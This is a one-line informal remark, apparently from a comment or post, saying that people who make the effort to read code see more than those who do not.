For they who make effort to read codes will see more than they who don't < Literally said :-)